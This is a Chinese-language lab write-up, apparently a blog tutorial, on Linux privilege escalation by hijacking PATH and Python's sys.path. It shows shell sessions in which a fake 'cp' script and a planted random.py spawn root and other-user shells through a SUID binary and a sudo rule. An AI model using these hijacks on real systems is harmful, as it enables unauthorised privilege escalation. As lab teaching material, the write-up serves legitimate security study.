:::info PATH 在 Linux 中有着至关重要的地位,我们执行的应用程序在 Linux 执行时,需要按照 PATH 进行查找
:::
$ echo $PATH # 查看 PATH
分析
我们知道 Linux 在执行一个命令比如: ls 时,会按照 PATH 中的各项值进行逐项查找,知道找到 ls 可执行程序,这一切本没有什么问题,但是如果我们 劫持
此可执行程序呢?
如果我们可以实现 劫持
此程序,那么当执行 ls 时,就会执行我们所编写的脚本。
(下面我们将以 Python Path 和 Linux Path 介绍)
Linux Path
我将会以一个实际的靶场进行介绍
在这个靶场中,存在一个 SUID 可执行程序 backup, 在该程序中存在一条执行:cp /home/user/archangel/myfiles/* /opt/backupfiles
该指令在执行时,会根据 PATH 变量的值逐个查找 cp 可执行程序,这时候如果我们在用户家目录目录创建一个 cp 可执行程序,并且修改环境变量,那么我们就可以实现 劫持
cp 命令
archangel@ubuntu:/home$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
archangel@ubuntu:~$ echo '#!/bin/bash' > cp
archangel@ubuntu:~$ echo "/bin/bash" >> cp
archangel@ubuntu:~$ chmod +x cp
archangel@ubuntu:~$ cat cp
#!/bin/bash
/bin/bash
archangel@ubuntu:~$ export PATH=$PWD:$PATH
archangel@ubuntu:~$ echo $PATH
/home/archangel:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
archangel@ubuntu:~$ cd secret/
archangel@ubuntu:~/secret$ ./backup
root@ubuntu:~/secret# id
uid=0(root) gid=0(root) groups=0(root),1001(archangel)
从执行中我们可以看到 backup
可执行程序执行了我们定义的 cp 可执行程序
Python Path
利用 Python Path 进行提权和 借助 Linux Path 提权思路一样,都是
劫持
只不过 Linux Path 是劫持命令
而 Python Path 是借助py 函数
在上面这个示例中,我们可以发现用户可以以 rabbit 身份运行一个 py 脚本,并且这个 py 脚本中会去调用 random.py 文件
alice@wonderland:~$ sudo -l
[sudo] password for alice:
Matching Defaults entries for alice on wonderland:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on wonderland:
(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
我们创建自己的 random.py 脚本
alice@wonderland:~$ cat random.py
import os
os.system('/bin/bash')
alice@wonderland:~$ ls -al | grep random.py
-rw-rw-r-- 1 alice alice 33 Feb 7 09:17 random.py
修改 Python PATH 变量:
alice@wonderland:~$ python3 -c 'import sys; print (sys.path)'
['', '/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/lib-dynload', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']
‘’ : 表明先从当前目录查找
现在我们执行程序
alice@wonderland:~$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$ id
uid=1002(rabbit) gid=1002(rabbit) groups=1002(rabbit)
可以看到提权成功,并且 walrus_and_the_carpenter.py
成功调用了我们创建的 random.py 文件